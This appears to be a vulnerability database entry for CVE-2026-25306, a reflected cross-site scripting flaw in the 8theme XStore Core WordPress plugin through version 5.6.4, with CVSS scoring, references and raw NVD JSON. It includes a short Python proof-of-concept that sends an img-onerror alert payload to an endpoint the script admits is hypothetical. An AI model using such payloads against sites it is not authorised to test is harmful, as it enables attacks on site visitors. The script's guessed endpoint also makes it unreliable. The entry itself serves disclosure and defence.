CVE-2026-25306

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 8theme XStore Core et-core-plugin allows Reflected XSS.This issue affects XStore Core: from n/a through <= 5.6.4.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

8theme XStore Core <= 5.6.4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

target = "http://target-site.com"
# Malicious payload to test Reflected XSS
payload = "<img src=x onerror=alert('CVE-2026-25306')>"

# Example vulnerable endpoint (hypothetical based on plugin structure)
url = f"{target}/wp-admin/admin.php?page=et-core-plugin&action=export"
params = {
    "filename": payload
}

try:
    r = requests.get(url, params=params, timeout=5)
    if payload in r.text:
        print("[+] Vulnerability confirmed: Payload reflected in response.")
    else:
        print("[-] Payload not reflected or encoded.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-25306
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-25306
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-25306/
[4] VulDB https://vuldb.com/cve/CVE-2026-25306
[5] https://patchstack.com/database/Wordpress/Plugin/et-core-plugin/vulnerability/wordpress-xstore-core-plugin-5-6-4-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-25306", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:43.653", "lastModified": "2026-04-24T16:32:53.997", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in 8theme XStore Core et-core-plugin allows Reflected XSS.This issue affects XStore Core: from n/a through <= 5.6.4."}, {"lang": "es", "value": "Vulnerabilidad de Neutralización Incorrecta de Entrada Durante la Generación de Páginas Web ('cross-site scripting') en el plugin 8theme XStore Core et-core-plugin permite XSS Reflejado. Este problema afecta a XStore Core: desde n/a hasta <= 5.6.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/et-core-plugin/vulnerability/wordpress-xstore-core-plugin-5-6-4-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}